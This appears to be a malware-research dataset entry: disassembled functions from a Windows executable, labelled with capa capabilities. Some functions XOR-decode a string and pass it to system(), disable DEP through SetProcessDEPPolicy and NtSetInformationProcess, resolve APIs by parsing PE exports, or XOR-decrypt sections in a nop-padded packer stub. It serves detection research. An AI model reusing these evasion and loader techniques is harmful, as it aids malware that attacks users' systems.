joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e80
Capabilities:
Encode data using xor
Execute command

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xb8
mov edi, dword [esp + 0x138]
mov byte [esp], 0xc
mov dword [esp + 1], 0x72617473
mov word [esp + 5], 0x2074
mov byte [esp + 7], 0
push edi
call main
add esp, 4
mov ecx, esp
push eax
push edi
call fcn.00409d40
test byte [esp], 1
je 0x401ec7
mov eax, dword [esp + 8]
jmp 0x401ecb
lea eax, [esp + 1]
push eax
call sub.msvcrt.dll_system
add esp, 4
push edi
call main
add esp, 4
cmp eax, 0xfffffff0
jae 0x402073
mov ebx, eax
cmp eax, 0xa
ja 0x401efb
mov eax, ebx
add al, bl
mov byte [esp + 0x18], al
lea esi, [esp + 0x19]
jmp 0x401f1b
mov ebp, ebx
or ebp, 0xf
inc ebp
push ebp
call fcn.004088c0
add esp, 4
mov esi, eax
mov dword [esp + 0x20], eax
or ebp, 1
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebx
push ebx
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov byte [esi + ebx], 0
vmovups ymm0, ymmword [0x45f30a]
vmovups ymmword [esp + 0x96], ymm0
vmovups ymm0, ymmword [0x45f2f8]
vmovups ymmword [esp + 0x84], ymm0
vmovups ymm0, ymmword [0x45f2d8]
vmovups ymmword [esp + 0x64], ymm0
vmovups ymm0, ymmword [0x45f2b8]
vmovups ymmword [esp + 0x44], ymm0
vmovups ymm0, ymmword [0x45f298]
vmovups ymmword [esp + 0x24], ymm0
xor eax, eax
nop dword [eax + eax]
nop
test eax, eax
nop
lea ecx, [eax + 0xfc]
lea edx, [eax + 0x91]
cmp eax, 4
cmovb ecx, edx
xor byte [esp + eax + 0x24], cl
nop
test eax, eax
nop
inc eax
cmp eax, 0x91
jne 0x401f80
nop
test eax, eax
nop
nop
test eax, eax
nop
lea edi, [esp + 0x24]
push edi
vzeroupper
call main
add esp, 4
cmp eax, 0xfffffff0
jae 0x40207c
mov ebx, eax
cmp eax, 0xa
ja 0x401fe0
mov eax, ebx
add al, bl
mov byte [esp + 0xc], al
lea esi, [esp + 0xd]
jmp 0x402000
mov ebp, ebx
or ebp, 0xf
inc ebp
push ebp
call fcn.004088c0
add esp, 4
mov esi, eax
mov dword [esp + 0x14], eax
or ebp, 1
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], ebx
push ebx
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov byte [esi + ebx], 0
lea eax, [esp + 0xc]
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00401cf0
add esp, 8
test byte [esp + 0xc], 1
jne 0x40204c
test byte [esp + 0x18], 1
jne 0x40205f
test byte [esp], 1
je 0x402041
push dword [esp + 8]
call fcn.00408930
add esp, 4
add esp, 0xb8
pop esi
pop edi
pop ebx
pop ebp
ret
push dword [esp + 0x14]
call fcn.00408930
add esp, 4
test byte [esp + 0x18], 1
je 0x40202f
push dword [esp + 0x20]
call fcn.00408930
add esp, 4
test byte [esp], 1
jne 0x402035
jmp 0x402041
lea ecx, [esp + 0x18]
call fcn.004054b0
lea ecx, [esp + 0xc]
call fcn.004054b0
mov esi, eax
test byte [esp + 0xc], 1
jne 0x4020a1
test byte [esp + 0x18], 1
jne 0x4020bf
test byte [esp], 1
jne 0x4020db
push esi
call fcn.0042d8d0
push dword [esp + 0x14]
call fcn.00408930
add esp, 4
test byte [esp + 0x18], 1
je 0x402095
jmp 0x4020bf
push dword [esp + 0x20]
call fcn.00408930
add esp, 4
test byte [esp], 1
je 0x40209b
jmp 0x4020db
push dword [esp + 8]
call fcn.00408930
add esp, 4
push esi
call fcn.0042d8d0
int3
Function at 0x405310
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [esp + 0x20]
mov dword [esp], 0
mov dword [esp + 8], 4
lea eax, [esp + 4]
push eax
push 1
push 0
push str.SoftwareAdobeAdobe_Acrobat10.0Security
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405377
lea eax, [esp + 8]
mov ecx, esp
lea edx, [esp + 0xc]
push eax
push ecx
push edx
push 0
push 0x4582f7
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov ebx, dword [esp]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or ebx, esi
je 0x4053d6
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40539e
push str.SetProcessDEPPolicy
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40539e
push 1
call eax
test eax, eax
jne 0x4053d6
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4053d6
push str.NtSetInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4053d6
mov esi, eax
mov dword [esp], 0xd
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, esp
push 4
push ecx
push 0x22
push eax
call esi
push edi
call fcn.004020f0
add esp, 4
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
ret 0x10
Function at 0x405940
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
cmp dword [ecx + 0x40], 0
je 0x40598c
mov edi, ecx
mov ecx, dword [ecx + 0x44]
test ecx, ecx
je 0x405ac0
mov eax, dword [edi + 0x54]
test al, 0x10
jne 0x405998
mov dword [esp], 0
test al, 8
je 0x405a50
mov eax, dword [edi + 0x4c]
mov dword [esp + 8], eax
cmp byte [edi + 0x5a], 0
je 0x405a11
mov ebx, dword [edi + 0x10]
sub ebx, dword [edi + 0xc]
jmp 0x405a2d
mov dword [esp], 0
jmp 0x405a50
mov eax, dword [edi + 0x18]
cmp eax, dword [edi + 0x14]
je 0x4059b2
mov eax, dword [edi]
mov ecx, edi
push 0xffffffffffffffff
call dword [eax + 0x34]
cmp eax, 0xffffffff
je 0x405a49
mov dword [esp], 0
lea ebp, [edi + 0x48]
nop dword [eax]
mov eax, dword [edi + 0x20]
mov ecx, dword [edi + 0x44]
mov edx, dword [edi + 0x34]
add edx, eax
mov esi, dword [ecx]
lea ebx, [esp + 0xc]
push ebx
push edx
push eax
push ebp
call dword [esi + 0x14]
mov ebx, eax
mov esi, dword [esp + 0xc]
mov eax, dword [edi + 0x20]
sub esi, eax
push dword [edi + 0x40]
push esi
push 1
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
cmp eax, esi
jne 0x405a49
cmp ebx, 1
je 0x4059c0
cmp ebx, 2
je 0x405a49
push dword [edi + 0x40]
call sub.msvcrt.dll_fflush
add esp, 4
test eax, eax
jne 0x405a49
jmp 0x405a50
mov eax, dword [ecx]
call dword [eax + 0x18]
mov edx, dword [edi + 0x24]
mov ebx, dword [edi + 0x28]
sub ebx, edx
test eax, eax
jle 0x405a90
mov ecx, dword [edi + 0x10]
sub ecx, dword [edi + 0xc]
imul ecx, eax
add ebx, ecx
mov dword [esp + 4], 0
neg ebx
push 1
push ebx
push dword [edi + 0x40]
call fcn.0042de20
add esp, 0xc
test eax, eax
je 0x405a5b
mov dword [esp], 0xffffffff
mov eax, dword [esp]
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
cmp byte [esp + 4], 0
je 0x405a69
mov eax, dword [esp + 8]
mov dword [edi + 0x48], eax
mov eax, dword [edi + 0x20]
mov dword [edi + 0x28], eax
mov dword [edi + 0x24], eax
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x54], 0
jmp 0x405a50
mov eax, dword [edi + 0xc]
cmp eax, dword [edi + 0x10]
je 0x405a2d
mov ecx, dword [edi + 0x44]
sub eax, dword [edi + 8]
mov esi, dword [ecx]
lea ebp, [esp + 8]
push eax
push edx
push dword [edi + 0x20]
push ebp
call dword [esi + 0x20]
add ebx, dword [edi + 0x24]
add eax, dword [edi + 0x20]
sub ebx, eax
mov al, 1
mov dword [esp + 4], eax
jmp 0x405a35
call fcn.00405ef0
int3
Function at 0x406410
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x30
mov edi, dword [esp + 0x44]
nop
test eax, eax
nop
nop
test eax, eax
nop
mov eax, dword [edi + 0x3c]
nop
test eax, eax
nop
mov esi, dword [edi + eax + 0x78]
nop
test eax, eax
nop
mov eax, dword [edi + esi + 0x1c]
add eax, edi
mov dword [esp + 0x20], eax
nop
test eax, eax
nop
mov eax, dword [edi + esi + 0x20]
add eax, edi
mov dword [esp + 0x28], eax
nop
test eax, eax
nop
mov eax, dword [edi + esi + 0x24]
add eax, edi
mov dword [esp + 0x1c], eax
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
nop
test eax, eax
nop
mov word [esp + 4], 0x30
lea eax, [esp + 4]
push eax
call sub.msvcrt.dll_atoi
add esp, 4
mov dword [esp + 0x24], esi
mov dword [esp], edi
cmp eax, dword [edi + esi + 0x18]
jae 0x4065dc
mov ebp, eax
nop
nop
test eax, eax
nop
mov eax, dword [esp + 0x28]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x44]
nop
test eax, eax
nop
push dword [esp + 0x48]
call main
add esp, 4
cmp eax, 0xfffffff0
jae 0x40660a
mov ebx, eax
mov dword [esp + 0x2c], ebp
cmp eax, 0xa
ja 0x4064f0
mov eax, ebx
add al, bl
mov byte [esp + 4], al
lea ebp, [esp + 5]
jmp 0x406512
mov edi, ebx
or edi, 0xf
lea eax, [edi + 1]
push eax
call fcn.004088c0
add esp, 4
mov ebp, eax
mov dword [esp + 0xc], eax
add edi, 2
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
push ebx
push dword [esp + 0x4c]
push ebp
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov byte [ebp + ebx], 0
push esi
call main
add esp, 4
cmp eax, 0xfffffff0
jae 0x406613
mov ebx, eax
cmp eax, 0xa
ja 0x406550
mov eax, ebx
add al, bl
mov byte [esp + 0x10], al
lea ebp, [esp + 0x11]
jmp 0x406572
mov edi, ebx
or ebx, 0xf
inc ebx
push ebx
call fcn.004088c0
add esp, 4
mov ebp, eax
mov dword [esp + 0x18], eax
or ebx, 1
mov dword [esp + 0x10], ebx
mov ebx, edi
mov dword [esp + 0x14], edi
push ebx
push esi
push ebp
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov byte [ebp + ebx], 0
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 8]
push eax
call fcn.00406a20
add esp, 8
mov ebx, eax
test byte [esp + 0x10], 1
mov ebp, dword [esp + 0x2c]
je 0x4065ad
push dword [esp + 0x18]
call fcn.00408930
add esp, 4
test byte [esp + 4], 1
je 0x4065c0
push dword [esp + 0xc]
call fcn.00408930
add esp, 4
nop
test eax, eax
nop
test bl, bl
jne 0x4065ea
inc ebp
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x44]
cmp ebp, dword [ecx + eax + 0x18]
jb 0x4064a0
nop
test eax, eax
nop
mov dword [esp], 0
jmp 0x4065ff
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + ebp*2]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp]
add edx, dword [ecx + eax*4]
mov dword [esp], edx
mov eax, dword [esp]
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
lea ecx, [esp + 4]
call fcn.004054b0
lea ecx, [esp + 0x10]
call fcn.004054b0
mov esi, eax
test byte [esp + 4], 1
je 0x406642
jmp 0x40665b
push esi
call fcn.0042d8d0
push dword [esp + 0x18]
call fcn.00408930
add esp, 4
test byte [esp + 4], 1
je 0x406642
push dword [esp + 0xc]
call fcn.00408930
add esp, 4
push esi
call fcn.0042d8d0
int3
Function at 0x42dd40
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
push esi
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
call fcn.00434650
test al, al
je 0x42dd74
push 2
call dword [0x46807c]
add esp, 4
push ebx
push edi
push esi
push str.libunwind:__Unwind_SetGR_context_p__reg_d__value0x_0x__n
push eax
call fcn.0042d5c0
add esp, 0x14
pop esi
pop edi
pop ebx
jmp fcn.00434730
Function at 0x434060
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
ja case.default.0x434071
jmp dword [eax*4 + 0x4623e8]
cmp dword [0x4682a8], 0
je 0x434173
push 0x4682ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4682c4]
test edi, edi
je 0x434168
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4340bb
mov edi, dword [edi + 8]
test edi, edi
je 0x434168
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x4340b0
test esi, esi
je 0x4340b0
mov ecx, dword [edi + 4]
call dword [section..00cfg]
push esi
call ecx
add esp, 4
jmp 0x4340b0
cmp dword [0x4682a8], 0
jne 0x4340f0
push 0x4682ac
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4682a8], 1
jmp case.default.0x434071
call fcn.0042cd70
jmp case.default.0x434071
cmp dword [0x4682a8], 0
je case.default.0x434071
push 0x4682ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x4682c4]
test edi, edi
je 0x4341c3
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x434147
mov edi, dword [edi + 8]
test edi, edi
je 0x4341c3
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x434140
test esi, esi
je 0x434140
mov ecx, dword [edi + 4]
call dword [section..00cfg]
push esi
call ecx
add esp, 4
jmp 0x434140
push 0x4682ac
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x4682a8]
cmp eax, 1
jne case.default.0x434071
mov eax, dword [0x4682c4]
test eax, eax
je 0x4341a2
nop word cs:[eax + eax]
mov esi, dword [eax + 8]
push eax
call fcn.00457356
add esp, 4
mov eax, esi
test esi, esi
jne 0x434190
mov dword [0x4682c4], 0
mov dword [0x4682a8], 0
push 0x4682ac
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp case.default.0x434071
push 0x4682ac
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x434300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push edi
push esi
mov esi, dword [0x458004]
movzx ecx, word [esi]
xor eax, eax
cmp ecx, 0x5a4d
jne 0x434366
mov ecx, dword [esi + 0x3c]
cmp dword [esi + ecx], 0x4550
jne 0x434366
add esi, ecx
movzx ecx, word [esi + 0x18]
cmp ecx, 0x10b
jne 0x434366
movzx ecx, word [esi + 6]
test ecx, ecx
je 0x434366
mov edx, dword [esp + 0xc]
sub edx, dword [0x458004]
movzx edi, word [esi + 0x14]
add esi, edi
add esi, 0x18
jmp 0x434356
add esi, 0x28
dec ecx
je 0x434366
mov edi, dword [esi + 0xc]
cmp edi, edx
ja 0x434350
add edi, dword [esi + 8]
cmp edi, edx
jbe 0x434350
mov eax, esi
pop esi
pop edi
ret
Function at 0x4345a0
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0xc]
cmp byte [0x46949f], 1
jne 0x4345be
cmp byte [0x46949e], 0
jne 0x4345dd
jmp 0x4345f8
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x4345f8
push 2
call dword [0x46807c]
add esp, 4
push edi
push esi
push str.libunwind:___unw_init_local_cursor_p__context_p__n
push eax
call fcn.0042dfe0
add esp, 0x10
mov dword [esi], 0x4625d8
mov dword [esi + 4], 0x469398
movups xmm0, xmmword [edi]
movups xmm1, xmmword [edi + 0x10]
movups xmmword [esi + 8], xmm0
movups xmmword [esi + 0x18], xmm1
movups xmm0, xmmword [edi + 0x20]
movups xmmword [esi + 0x28], xmm0
movups xmm0, xmmword [edi + 0x30]
movups xmmword [esi + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [esi + 0x48], xmm0
movups xmmword [esi + 0x58], xmm0
movups xmmword [esi + 0x62], xmm0
mov ecx, esi
push 0
call fcn.00435250
xor eax, eax
pop esi
pop edi
ret

Function at 0x434650
Capabilities:
Query environment variable

Disassembly:
cmp byte [0x46949f], 1
jne 0x434664
cmp byte [0x46949e], 0
setne al
ret
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
test eax, eax
setne al
setne byte [0x46949e]
mov byte [0x46949f], 1
ret

Function at 0x434690
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp byte [0x46949f], 1
jne 0x4346b4
cmp byte [0x46949e], 0
jne 0x4346d3
jmp 0x4346ef
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x4346ef
push 2
call dword [0x46807c]
add esp, 4
push ebx
push ebp
push esi
push str.libunwind:___unw_get_reg_cursor_p__regNum_d__value_p__n
push eax
call fcn.0042dfe0
add esp, 0x14
mov eax, dword [esi]
mov edi, dword [eax + 8]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push ebp
call edi
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x434722
mov eax, dword [esi]
mov edi, dword [eax + 0xc]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push ebp
call edi
mov dword [ebx], eax
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x434730
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebp, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
mov esi, dword [esp + 0x3c]
cmp byte [0x46949f], 1
jne 0x434757
cmp byte [0x46949e], 0
jne 0x434776
jmp 0x434792
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x434792
push 2
call dword [0x46807c]
add esp, 4
push ebp
push ebx
push esi
push str.libunwind:___unw_set_reg_cursor_p__regNum_d__value0x_x__n
push eax
call fcn.0042dfe0
add esp, 0x14
mov eax, dword [esi]
mov edi, dword [eax + 8]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push ebx
call edi
mov edi, 0xffffe672
test al, al
je 0x434822
mov eax, dword [esi]
mov edi, dword [eax + 0x10]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push ebp
push ebx
call edi
xor edi, edi
cmp ebx, 0xffffffff
jne 0x434822
mov eax, dword [esi]
mov ebx, dword [eax + 0x24]
mov ecx, ebx
call dword [section..00cfg]
mov eax, esp
mov ecx, esi
push eax
call ebx
mov eax, dword [esi]
mov ebx, dword [eax + 0x34]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
push 0
call ebx
cmp dword [esp + 0x10], 0
je 0x434822
mov eax, dword [esi]
mov ebx, dword [eax + 0xc]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
push 0xfffffffffffffffe
call ebx
mov ebx, eax
add ebx, dword [esp + 0x10]
mov eax, dword [esi]
mov ebp, dword [eax + 0x10]
mov ecx, ebp
call dword [section..00cfg]
mov ecx, esi
push ebx
push 0xfffffffffffffffe
call ebp
mov eax, edi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x434830
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
mov esi, dword [esp + 0xc]
cmp byte [0x46949f], 1
jne 0x43484a
cmp byte [0x46949e], 0
jne 0x434869
jmp 0x434883
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x434883
push 2
call dword [0x46807c]
add esp, 4
push esi
push str.libunwind:___unw_step_cursor_p__n
push eax
call fcn.0042dfe0
add esp, 0xc
mov eax, dword [esi]
mov edi, dword [eax + 0x20]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push 0
call edi
pop esi
pop edi
ret

Function at 0x4348a0
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
mov esi, dword [esp + 0xc]
cmp byte [0x46949f], 1
jne 0x4348ba
cmp byte [0x46949e], 0
jne 0x4348d9
jmp 0x4348f3
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x4348f3
push 2
call dword [0x46807c]
add esp, 4
push esi
push str.libunwind:___unw_step_stage2_cursor_p__n
push eax
call fcn.0042dfe0
add esp, 0xc
mov eax, dword [esi]
mov edi, dword [eax + 0x20]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push 1
call edi
pop esi
pop edi
ret
Function at 0x434910
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
push esi
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
cmp byte [0x46949f], 1
jne 0x43492f
cmp byte [0x46949e], 0
jne 0x43494e
jmp 0x434969
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x434969
push 2
call dword [0x46807c]
add esp, 4
push ebx
push esi
push str.libunwind:___unw_get_proc_info_cursor_p__info_p__n
push eax
call fcn.0042dfe0
add esp, 0x10
mov eax, dword [esi]
mov edi, dword [eax + 0x24]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push ebx
call edi
xor ecx, ecx
cmp dword [ebx + 4], 0
mov eax, 0xffffe66b
cmovne eax, ecx
pop esi
pop edi
pop ebx
ret

Function at 0x434990
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
mov esi, dword [esp + 0xc]
cmp byte [0x46949f], 1
jne 0x4349aa
cmp byte [0x46949e], 0
jne 0x4349c9
jmp 0x4349e3
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x4349e3
push 2
call dword [0x46807c]
add esp, 4
push esi
push str.libunwind:___unw_resume_cursor_p__n
push eax
call fcn.0042dfe0
add esp, 0xc
mov eax, dword [esi]
mov edi, dword [eax + 0x28]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
call edi
mov eax, 0xffffe674
pop esi
pop edi
ret

Function at 0x434a00
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp byte [0x46949f], 1
jne 0x434a24
cmp byte [0x46949e], 0
jne 0x434a43
jmp 0x434a5f
push str.LIBUNWIND_PRINT_APIS
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949f], 1
test eax, eax
setne byte [0x46949e]
je 0x434a5f
push 2
call dword [0x46807c]
add esp, 4
push ebp
push ebx
push esi
push str.libunwind:___unw_get_proc_name_cursor_p__buf_p__bufLen_lu__n
push eax
call fcn.0042dfe0
add esp, 0x14
mov eax, dword [esi]
mov edi, dword [eax + 0x30]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push dword [esp + 0x20]
push ebp
push ebx
call edi
xor ecx, ecx
test al, al
mov eax, 0xffffe674
cmovne eax, ecx
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x434f00
Capabilities:
Query environment variable

Disassembly:
cmp byte [0x46949d], 1
jne 0x434f14
cmp byte [0x46949c], 0
setne al
ret
push str.LIBUNWIND_PRINT_UNWINDING
call sub.msvcrt.dll_getenv
add esp, 4
test eax, eax
setne al
setne byte [0x46949c]
mov byte [0x46949d], 1
ret
Function at 0x438110
Capabilities:
Enumerate process modules
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x101c
call fcn.0042d2d4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
push 0x1000
push edx
push eax
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x438272
mov ecx, dword [esp + 0x18]
xor edx, edx
mov eax, 0
cmp ecx, 4
jb 0x4382c9
shr ecx, 2
cmp ecx, 2
mov eax, 1
cmovae eax, ecx
mov dword [esp + 0xc], eax
mov bl, 1
mov dword [esp + 0x10], ecx
jmp 0x43818a
mov edx, dword [esp + 0x14]
inc edx
mov ecx, dword [esp + 0x10]
cmp edx, ecx
setb bl
xor eax, eax
cmp edx, dword [esp + 0xc]
je 0x4382c9
mov byte [esp + 3], bl
mov dword [esp + 0x14], edx
mov esi, dword [esp + edx*4 + 0x1c]
mov eax, dword [esi + 0x3c]
movzx ecx, word [esi + eax + 0x14]
mov edx, dword [esp + 0x1034]
mov dword [edx], esi
mov dword [esp + 8], esi
movzx esi, word [esi + eax + 6]
test esi, esi
je 0x438170
add eax, dword [esp + 8]
lea ebp, [eax + ecx]
add ebp, 0x18
mov dword [esp + 4], 0
xor ebx, ebx
jmp 0x4381d6
add ebp, 0x28
dec esi
je 0x438170
mov edi, dword [ebp + 0xc]
add edi, dword [esp + 8]
push 8
push str..text
push ebp
call sub.msvcrt.dll_strncmp
add esp, 0xc
test eax, eax
je 0x438210
push 8
push str..eh_frame
push ebp
call sub.msvcrt.dll_strncmp
add esp, 0xc
test eax, eax
je 0x438240
test bl, 1
jne 0x43825f
jmp 0x4381d0
mov eax, dword [ebp + 8]
add eax, edi
mov ecx, dword [esp + 0x1030]
cmp eax, ecx
movzx eax, bl
mov ebx, eax
mov edx, 1
cmova ebx, edx
cmp edi, ecx
cmova ebx, eax
test bl, 1
jne 0x43825f
jmp 0x4381d0
mov ecx, dword [esp + 0x1034]
mov dword [ecx + 4], edi
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
mov al, 1
mov dword [esp + 4], eax
test bl, 1
je 0x4381d0
mov eax, dword [esp + 4]
and al, 1
je 0x4381d0
movzx eax, byte [esp + 3]
jmp 0x4382c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp byte [0x46949d], 1
jne 0x43828e
cmp byte [0x46949c], 0
jne 0x4382ad
jmp 0x4382c7
push str.LIBUNWIND_PRINT_UNWINDING
call sub.msvcrt.dll_getenv
add esp, 4
mov byte [0x46949d], 1
test eax, eax
setne byte [0x46949c]
je 0x4382c7
push 2
call dword [0x46807c]
add esp, 4
push esi
push str.libunwind:_findUnwindSections:_EnumProcessModules_failed__returned_error__d_n
push eax
call fcn.0042dfe0
add esp, 0xc
xor eax, eax
and al, 1
add esp, 0x101c
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x40de38
nop
mov ecx, 0x72f92b2a
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x23ac3b38
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219